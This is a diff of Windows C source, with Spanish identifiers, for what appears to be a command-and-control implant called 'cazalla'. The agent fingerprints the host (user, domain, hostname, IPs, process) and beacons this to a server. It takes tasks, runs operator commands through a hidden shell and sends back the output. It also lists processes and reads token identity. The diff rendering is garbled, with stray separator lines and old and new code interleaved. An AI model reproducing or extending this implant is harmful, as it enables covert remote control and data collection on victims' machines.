// Obtener la arquitectura
|
||||||
BYTE obtenerArquitectura() {
|
BYTE obtenerArquitectura() {
|
||||||
|
|
||||||
SYSTEM_INFO informacionDelSistema;
|
SYSTEM_INFO informacionDelSistema;
|
||||||
|
|
||||||
GetNativeSystemInfo(&informacionDelSistema);
|
GetNativeSystemInfo(&informacionDelSistema);
|
||||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||||
return 0x64;
|
return 0x64;
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0x86;
|
return 0x86;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el Hostname
|
// Obtener el Hostname
|
||||||
PCHAR obtenerHostame() {
|
PCHAR obtenerHostame() {
|
||||||
|
|
||||||
LPSTR datos = NULL;
|
LPSTR datos = NULL;
|
||||||
DWORD dataLen = 0;
|
DWORD dataLen = 0;
|
||||||
const char* hostnameRep = "N/A";
|
const char* hostnameRep = "N/A";
|
||||||
|
|
||||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
||||||
{
|
{
|
||||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
||||||
{
|
{
|
||||||
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||||
hostnameRep = datos;
|
hostnameRep = datos;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return (char*)hostnameRep;
|
return (char*)hostnameRep;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el usuario
|
// Obtener el usuario
|
||||||
char* obtenerUsuarios() {
|
char* obtenerUsuarios() {
|
||||||
|
|
||||||
LPSTR datos = NULL;
|
LPSTR datos = NULL;
|
||||||
DWORD dataLen = 0;
|
DWORD dataLen = 0;
|
||||||
const char* usuario = "N/A";
|
const char* usuario = "N/A";
|
||||||
|
|
||||||
if (!GetUserNameA(NULL, &dataLen)) {
|
if (!GetUserNameA(NULL, &dataLen)) {
|
||||||
|
|
||||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||||
|
|
||||||
GetUserNameA(datos, &dataLen);
|
GetUserNameA(datos, &dataLen);
|
||||||
usuario = datos;
|
usuario = datos;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return (char*)usuario;
|
return (char*)usuario;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el dominio
|
// Obtener el dominio
|
||||||
LPWSTR obtenerDominio() {
|
LPWSTR obtenerDominio() {
|
||||||
|
|
||||||
DWORD dwLevel = 102;
|
DWORD dwLevel = 102;
|
||||||
LPWKSTA_INFO_102 pBuf = NULL;
|
LPWKSTA_INFO_102 pBuf = NULL;
|
||||||
PWCHAR dominio = NULL;
|
PWCHAR dominio = NULL;
|
||||||
NET_API_STATUS nStatus;
|
NET_API_STATUS nStatus;
|
||||||
LPWSTR pszServerName = NULL;
|
LPWSTR pszServerName = NULL;
|
||||||
|
|
||||||
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||||
if (nStatus == NERR_Success) {
|
if (nStatus == NERR_Success) {
|
||||||
|
|
||||||
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||||
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||||
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pBuf != NULL) {
|
if (pBuf != NULL) {
|
||||||
|
|
||||||
NetApiBufferFree(pBuf);
|
NetApiBufferFree(pBuf);
|
||||||
}
|
}
|
||||||
|
|
||||||
return dominio;
|
return dominio;
|
||||||
}
|
}
|
||||||
|
|
||||||
char* getOsName() {
|
char* getOsName() {
|
||||||
|
|
||||||
return (PCHAR)"Windows";
|
return (PCHAR)"Windows";
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el nombre del proceso actual
|
// Obtener el nombre del proceso actual
|
||||||
char* obtenerNombreProceso() {
|
char* obtenerNombreProceso() {
|
||||||
|
|
||||||
char* nombreProceso = NULL;
|
char* nombreProceso = NULL;
|
||||||
HANDLE handle = GetCurrentProcess();
|
HANDLE handle = GetCurrentProcess();
|
||||||
if (handle) {
|
if (handle) {
|
||||||
|
|
||||||
DWORD buffSize = 1024;
|
DWORD buffSize = 1024;
|
||||||
CHAR buffer[1024];
|
CHAR buffer[1024];
|
||||||
|
|
||||||
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||||
|
|
||||||
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||||
memcpy(nombreProceso, buffer, buffSize);
|
memcpy(nombreProceso, buffer, buffSize);
|
||||||
}
|
}
|
||||||
CloseHandle(handle);
|
CloseHandle(handle);
|
||||||
}
|
}
|
||||||
return nombreProceso;
|
return nombreProceso;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
PAnalizador checkin() {
|
PAnalizador checkin() {
|
||||||
|
|
||||||
UINT32 numeroDeIPs = 0;
|
UINT32 numeroDeIPs = 0;
|
||||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||||
if (!checkin) {
|
if (!checkin) {
|
||||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||||
|
|
||||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||||
addInt32(checkin, numeroDeIPs);
|
addInt32(checkin, numeroDeIPs);
|
||||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||||
addInt32(checkin, tableOfIPs[i]);
|
addInt32(checkin, tableOfIPs[i]);
|
||||||
}
|
}
|
||||||
|
|
||||||
addString(checkin, getOsName(), TRUE);
|
addString(checkin, getOsName(), TRUE);
|
||||||
addByte(checkin, obtenerArquitectura());
|
addByte(checkin, obtenerArquitectura());
|
||||||
addString(checkin, obtenerHostame(), TRUE);
|
addString(checkin, obtenerHostame(), TRUE);
|
||||||
addString(checkin, obtenerUsuarios(), TRUE);
|
addString(checkin, obtenerUsuarios(), TRUE);
|
||||||
addWString(checkin, obtenerDominio(), TRUE);
|
addWString(checkin, obtenerDominio(), TRUE);
|
||||||
addInt32(checkin, GetCurrentProcessId());
|
addInt32(checkin, GetCurrentProcessId());
|
||||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||||
|
|
||||||
|
|
||||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||||
|
|
||||||
liberarPaquete(checkin);
|
liberarPaquete(checkin);
|
||||||
|
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|
||||||
}
|
}
|
||||||
return respuestaAnalizador;
|
return respuestaAnalizador;
|
||||||
}
|
}
|
||||||
@@ -1,17 +1,17 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#ifndef CHECKIN_H
|
#ifndef CHECKIN_H
|
||||||
#define CHECKIN_H
|
#define CHECKIN_H
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <lm.h>
|
#include <lm.h>
|
||||||
#include <lmwksta.h>
|
#include <lmwksta.h>
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
|
|
||||||
#pragma comment(lib, "netapi32.lib")
|
#pragma comment(lib, "netapi32.lib")
|
||||||
|
|
||||||
PAnalizador checkin();
|
PAnalizador checkin();
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,80 +1,83 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
|
|
||||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
|
|
||||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||||
if (numeroTareas) {
|
if (numeroTareas) {
|
||||||
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||||
}
|
}
|
||||||
|
|
||||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||||
BYTE tarea = getByte(obtenerTarea);
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
||||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
|
||||||
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
if (tarea == SHELL_CMD)
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
{
|
|
||||||
ejecutarConsola(analizadorTarea);
|
if (tarea == SHELL_CMD)
|
||||||
}
|
{
|
||||||
else if (tarea == EXIT_CMD) {
|
ejecutarConsola(analizadorTarea);
|
||||||
cerrarCallback(analizadorTarea);
|
}
|
||||||
}else if(tarea == SLEEP_CMD){
|
else if (tarea == EXIT_CMD) {
|
||||||
sleep(analizadorTarea);
|
cerrarCallback(analizadorTarea);
|
||||||
}
|
}else if(tarea == SLEEP_CMD){
|
||||||
|
sleep(analizadorTarea);
|
||||||
}
|
}else if(tarea == PROCESS_CMD){
|
||||||
return TRUE;
|
listarProcesos(analizadorTarea);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
BOOL commandDispatch(PAnalizador respuesta) {
|
return TRUE;
|
||||||
|
}
|
||||||
BYTE tipoRespuesta = getByte(respuesta);
|
|
||||||
if (tipoRespuesta == GET_TASKING) {
|
BOOL commandDispatch(PAnalizador respuesta) {
|
||||||
return handleGetTasking(respuesta);
|
|
||||||
}
|
BYTE tipoRespuesta = getByte(respuesta);
|
||||||
else if (tipoRespuesta == POST_RESPONSE) {
|
if (tipoRespuesta == GET_TASKING) {
|
||||||
return TRUE;
|
return handleGetTasking(respuesta);
|
||||||
}
|
}
|
||||||
return TRUE;
|
else if (tipoRespuesta == POST_RESPONSE) {
|
||||||
}
|
return TRUE;
|
||||||
|
}
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
return TRUE;
|
||||||
|
}
|
||||||
if (getByte(respuestaAnalizador) != CHECKIN) {
|
|
||||||
|
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||||
liberarAnalizador(respuestaAnalizador);
|
|
||||||
return FALSE;
|
if (getByte(respuestaAnalizador) != CHECKIN) {
|
||||||
}
|
|
||||||
|
liberarAnalizador(respuestaAnalizador);
|
||||||
SIZE_T tamanoUuid = 36;
|
return FALSE;
|
||||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
}
|
||||||
setUUID(nuevoUuid);
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||||
|
setUUID(nuevoUuid);
|
||||||
liberarAnalizador(respuestaAnalizador);
|
|
||||||
|
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||||
return TRUE;
|
|
||||||
}
|
liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
BOOL rutina() {
|
return TRUE;
|
||||||
|
}
|
||||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
|
||||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
BOOL rutina() {
|
||||||
|
|
||||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||||
// sin respuesta
|
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||||
if (!respuestaAnalizador) {
|
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||||
return FALSE;
|
// sin respuesta
|
||||||
}
|
if (!respuestaAnalizador) {
|
||||||
commandDispatch(respuestaAnalizador);
|
|
||||||
|
return FALSE;
|
||||||
// Sleep
|
}
|
||||||
Sleep(cazallaConfig->tiempoSleep);
|
commandDispatch(respuestaAnalizador);
|
||||||
|
|
||||||
return TRUE;
|
// Sleep
|
||||||
|
Sleep(cazallaConfig->tiempoSleep);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,26 +1,27 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#ifndef COMMANDOS
|
#ifndef COMMANDOS
|
||||||
#define COMMANDOS
|
#define COMMANDOS
|
||||||
|
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "consola.h"
|
#include "consola.h"
|
||||||
#include "cerrarCallback.h"
|
#include "cerrarCallback.h"
|
||||||
#include "sleep.h"
|
#include "sleep.h"
|
||||||
|
#include "procesos.h"
|
||||||
#define SHELL_CMD 0x54
|
|
||||||
#define GET_TASKING 0x00
|
#define SHELL_CMD 0x54
|
||||||
#define POST_RESPONSE 0x01
|
#define GET_TASKING 0x00
|
||||||
#define CHECKIN 0xf1
|
#define POST_RESPONSE 0x01
|
||||||
|
#define CHECKIN 0xf1
|
||||||
#define NUMBER_OF_TASKS 1
|
|
||||||
|
#define NUMBER_OF_TASKS 1
|
||||||
#define EXIT_CMD 0x80
|
|
||||||
#define SLEEP_CMD 0x38
|
#define EXIT_CMD 0x80
|
||||||
|
#define SLEEP_CMD 0x38
|
||||||
|
#define PROCESS_CMD 0x15
|
||||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
|
||||||
BOOL rutina();
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
|
BOOL rutina();
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,38 +1,38 @@
|
|||||||
#include "consola.h"
|
#include "consola.h"
|
||||||
|
|
||||||
BOOL ejecutarConsola(PAnalizador argumentos) {
|
BOOL ejecutarConsola(PAnalizador argumentos) {
|
||||||
|
|
||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
UINT32 nbArg = getInt32(argumentos);
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
SIZE_T tamano = 0;
|
SIZE_T tamano = 0;
|
||||||
PCHAR comando = getString(argumentos, &tamano);
|
PCHAR comando = getString(argumentos, &tamano);
|
||||||
|
|
||||||
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
|
||||||
FILE* fp;
|
FILE* fp;
|
||||||
CHAR ruta[1035];
|
CHAR ruta[1035];
|
||||||
|
|
||||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaTarea, tareaUuid, FALSE);
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
|
||||||
//paquete temporal para la salida
|
//paquete temporal para la salida
|
||||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
fp = _popen(comando, "rb");
|
fp = _popen(comando, "rb");
|
||||||
if (!fp) {
|
if (!fp) {
|
||||||
_err("[Consola] Error ejecutando el comando");
|
_err("[Consola] Error ejecutando el comando");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
|
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
|
||||||
addString(salida, ruta, FALSE);
|
addString(salida, ruta, FALSE);
|
||||||
}
|
}
|
||||||
|
|
||||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
_pclose(fp);
|
_pclose(fp);
|
||||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "comandos.h"
|
#include "comandos.h"
|
||||||
|
|
||||||
BOOL ejecutarConsola(PAnalizador argumentos);
|
BOOL ejecutarConsola(PAnalizador argumentos);
|
||||||
@@ -1,42 +1,42 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
#if defined(_DEBUG)
|
#if defined(_DEBUG)
|
||||||
|
|
||||||
|
|
||||||
#define DBG "DBG"
|
#define DBG "DBG"
|
||||||
#define ERR "ERR"
|
#define ERR "ERR"
|
||||||
#define WRN "WRN"
|
#define WRN "WRN"
|
||||||
#define INF "INF"
|
#define INF "INF"
|
||||||
|
|
||||||
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
|
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
|
||||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||||
#elif defined(_DEBUG_RELEASE)
|
#elif defined(_DEBUG_RELEASE)
|
||||||
#define DBG
|
#define DBG
|
||||||
#define ERR
|
#define ERR
|
||||||
#define WRN
|
#define WRN
|
||||||
#define INF
|
#define INF
|
||||||
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
|
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
|
||||||
CHAR out[200] = { 0 };\
|
CHAR out[200] = { 0 };\
|
||||||
sprintf(out, format"\n", ## __VA_ARGS__);\
|
sprintf(out, format"\n", ## __VA_ARGS__);\
|
||||||
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
|
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
|
||||||
CloseHandle(debugFile);}
|
CloseHandle(debugFile);}
|
||||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||||
#else
|
#else
|
||||||
#define DBG
|
#define DBG
|
||||||
#define ERR
|
#define ERR
|
||||||
#define WRN
|
#define WRN
|
||||||
#define INF
|
#define INF
|
||||||
#define _log(level, format, ...)
|
#define _log(level, format, ...)
|
||||||
#define _dbg(format, ...)
|
#define _dbg(format, ...)
|
||||||
#define _err(format, ...)
|
#define _err(format, ...)
|
||||||
#define _wrn(format, ...)
|
#define _wrn(format, ...)
|
||||||
#define _inf(format, ...)
|
#define _inf(format, ...)
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
#include "identity.h"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
|
||||||
|
|
||||||
|
TOKEN_USER informacionToken[0x1000];
|
||||||
|
SID_NAME_USE tipoSid;
|
||||||
|
DWORD tamanoRespuesta;
|
||||||
|
|
||||||
|
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CHAR nombre[0x200] = { 0 };
|
||||||
|
CHAR dominio[0x200] = { 0 };
|
||||||
|
|
||||||
|
DWORD tamanoNombre = sizeof(nombre);
|
||||||
|
DWORD tamanoDominio = sizeof(dominio);
|
||||||
|
|
||||||
|
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
|
||||||
|
buffer[tamano - 1] = 0;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef IDENTITY_H
|
||||||
|
#define IDENTITY_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
extern HANDLE gTokenIdentidad;
|
||||||
|
extern BOOL gIdentidadIsLoggin;
|
||||||
|
extern WCHAR* gDominioIdentidad;
|
||||||
|
// extern WCHAR* gIdentityUsername;
|
||||||
|
// extern WCHAR* gIdentityPassword;
|
||||||
|
|
||||||
|
#define IDENTITY_MAX_WCHARS_DOMAIN 256
|
||||||
|
#define IDENTITY_MAX_WCHARS_USERNAME 256
|
||||||
|
#define IDENTITY_MAX_WCHARS_PASSWORD 512
|
||||||
|
|
||||||
|
//VOID IdentityImpersonateToken(void);
|
||||||
|
//VOID IdentityAgentRevertToken(void);
|
||||||
|
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
|
||||||
|
//BOOL IdentityIsAdmin(void);
|
||||||
|
|
||||||
|
#endif //IDENTITY_H
|
||||||
@@ -1,12 +1,12 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
|
|
||||||
//#ifdef _DEBUG
|
//#ifdef _DEBUG
|
||||||
//int main()
|
//int main()
|
||||||
//#else
|
//#else
|
||||||
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||||
//#endif
|
//#endif
|
||||||
{
|
{
|
||||||
cazallaMain();
|
cazallaMain();
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -1,122 +1,152 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||||
//v2 change to syscalls
|
//v2 change to syscalls
|
||||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||||
if (!paquete) {
|
if (!paquete) {
|
||||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
|
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
|
||||||
if (!paquete->buffer) {
|
if (!paquete->buffer) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
paquete->length = 0;
|
paquete->length = 0;
|
||||||
if (init) {
|
if (init) {
|
||||||
addString(paquete, cazallaConfig->idAgente, FALSE);
|
addString(paquete, cazallaConfig->idAgente, FALSE);
|
||||||
addByte(paquete, idComando);
|
addByte(paquete, idComando);
|
||||||
}
|
}
|
||||||
|
|
||||||
return paquete;
|
return paquete;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID liberarPaquete(PPaquete paquete) {
|
VOID liberarPaquete(PPaquete paquete) {
|
||||||
|
|
||||||
LocalFree(paquete->buffer);
|
LocalFree(paquete->buffer);
|
||||||
LocalFree(paquete);
|
LocalFree(paquete);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
|
|
||||||
|
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
|
||||||
|
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
|
||||||
|
if (!respuesta) {
|
||||||
if (!respuesta) {
|
|
||||||
|
paqueteParaMandar = NULL;
|
||||||
paqueteParaMandar = NULL;
|
return NULL;
|
||||||
return NULL;
|
}
|
||||||
}
|
|
||||||
|
return respuesta;
|
||||||
return respuesta;
|
|
||||||
|
}
|
||||||
}
|
|
||||||
|
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||||
BOOL addByte(PPaquete paquete, BYTE byte) {
|
//v2. Syscalls
|
||||||
//v2. Syscalls
|
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
if (!paquete->buffer) {
|
||||||
if (!paquete->buffer) {
|
return FALSE;
|
||||||
return FALSE;
|
}
|
||||||
}
|
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
|
||||||
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
|
paquete->length += 1;
|
||||||
paquete->length += 1;
|
return TRUE;
|
||||||
return TRUE;
|
}
|
||||||
}
|
|
